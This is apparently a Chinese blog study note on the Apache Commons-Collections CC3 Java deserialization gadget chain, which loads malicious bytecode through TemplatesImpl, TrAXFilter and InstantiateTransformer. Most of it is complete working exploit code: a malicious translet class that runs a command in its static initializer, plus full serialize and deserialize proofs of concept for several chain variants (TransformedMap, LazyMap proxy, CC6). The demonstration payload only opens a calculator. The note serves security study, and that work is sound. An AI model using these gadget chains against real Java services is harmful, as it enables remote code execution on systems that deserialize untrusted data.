cc3学习笔记
Flow

前言

相比CC1和CC6利用Runtime.exec(),,但是很多服务器会给Runtime设置黑名单,所以CC3使用的是类加载机制,通过加载一个恶意的类来实现恶意代码执行

环境
  • jdk8u65
  • Commons-Collections 3.2.1

TemplatesImpl的利用

前面学类加载的时候就了解到,大多数情况下defineClass的作用域是不开放的,但是找到一个类TemplatesImpl里的作用域是default,利用路线是

1
2
3
4
TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

现在按照之前的方法,写一个Calc类,通过TemplatesImpl实现类加载,看看效果,现在的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
package com;

import java.io.IOException;

public class Calc {
static {
try {
Runtime.getRuntime().exec("Calc");
} catch (IOException e){
e.printStackTrace();
}
}
}

结合上一篇文章的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}

// 直接写一个方法调用反射
public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}

这个时候运行起来,遇到了报错,出现在newTransformer()那里,也是TemplatesImpl这个类里面的422行


解决报错

进入到代码,在前面一个地方打个断点

前面defineClass()其实已经加载好了,来到后面有一个判断

判断在前面defineClass()方法中传进去的参数b数组的字节码是否继承了ABSTRACT_TRANSLET这个父类,如果没有,则给_auxClasse赋值put,此时在调试台中看变量可以发现这个_auxClasse是null,还没被初始化,所以put会失败

目前看起来有两种解决方法:

  • 让父类继承ABSTRACT_TRANSLET
  • _auxClasse不是null

但是要关注到后面的代码还有一个判断

如果 _transletIndex < 0 会抛出异常 而如果不进if语句里(不满足父类 equals ABSTRACT_TRANSLET) _transletIndex就是 -1,也不得行,还会报错

所以我们的解决方案还是让父类继承ABSTRACT_TRANSLET

现在把恶意类改成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

再重新建构,执行前面的代码,这样就能正常弹计算机了

结合TemplatesImpl的CC1和CC6

CC1

回顾一下之前的CC1,最后是用transform()触发,现在尝试直接调用看看可不可行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

// 把上面这句换成下面的一段
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}

public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
}

前面已经把我们要传的参数templates用new ConstantTransformer(templates)定义了,后面直接用transform的时候随便传参就好了

接下来引入反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(null);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","Flow");
Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformerMap);

serialize(o);
unserialize("ser.bin");
}

public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

这样就能执行成功

CC6

原理和上面差不多,直接贴出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(null);

// 有一个decorateMap是LazyMap修饰过的
HashMap<Object, Object> hashMap = new HashMap<Object,Object>();
Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

// 再套一层TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"bbb");
decorateMap.remove("aaa");

// 反射修改factory的值
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(decorateMap,chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}

public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC3本身

我们是通过TemplatesImpl.newTransformer()加载恶意类,查找用法看看哪里有用到newTransformer(),一共有四个地方,最后选择了TrAXFilter这个类,因为:

  • 有一个在Process里面的main,调用不了
  • 有两个在TransformerFactoryImpl,但是这个类不能反序列化,如果还要传参数的话就要看他构造函数有没有操作空间,结果这个类的构造函数没有什么,很难传

  • 最后找到TrAXFilter,这个也不能序列化,不过他的构造函数内容多多了

而且里面直接调用了(TransformerImpl) templates.newTransformer(),非常适合,直接接上前面的内容就可以实现恶意代码执行

这次CC3链子没有用到InstantiateTransformer,而是InstantiateTransformer

他的构造函数参数够多,而且看到他的transform(),完全符合我们的需求

EXP构造

对于InstantiateTransformer的构造函数,我们就这么写,对应上TrAXFilter

1
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})

先直接调用transform()

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

这样可以执行,现在套上cc1的内容,为了顺利执行传入TrAXFilter.class这个参数,还是要用到ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap();
hashMap.put("value","flow");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);

serialize(o);
unserialize("ser.bin");
}
}

这样是能成功执行的,按这个套路套入LazyMap版本的和CC6,都成功了

LazyMap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Map.class},
invocationHandler1);
InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serialize(invocationHandler2);
unserialize("ser.bin");

}

CC6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<Object,Object>();
Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

// 再套一层TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"bbb");
decorateMap.remove("aaa");

// 反射修改factory的值
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(decorateMap,chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}

最后

算是学习了一种新的方式,再结合之前的知识凑来凑去又是新的链子,还是要经常回顾之前的内容,过程中也意识到知识不是很扎实,也是一个查漏补缺的过程吧。

参考

b站:白日梦组长

https://drun1baby.top/2022/06/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8704-CC3%E9%93%BE

https://www.cnblogs.com/1vxyz/p/17458691.html

由 Hexo 驱动 & 主题 Keep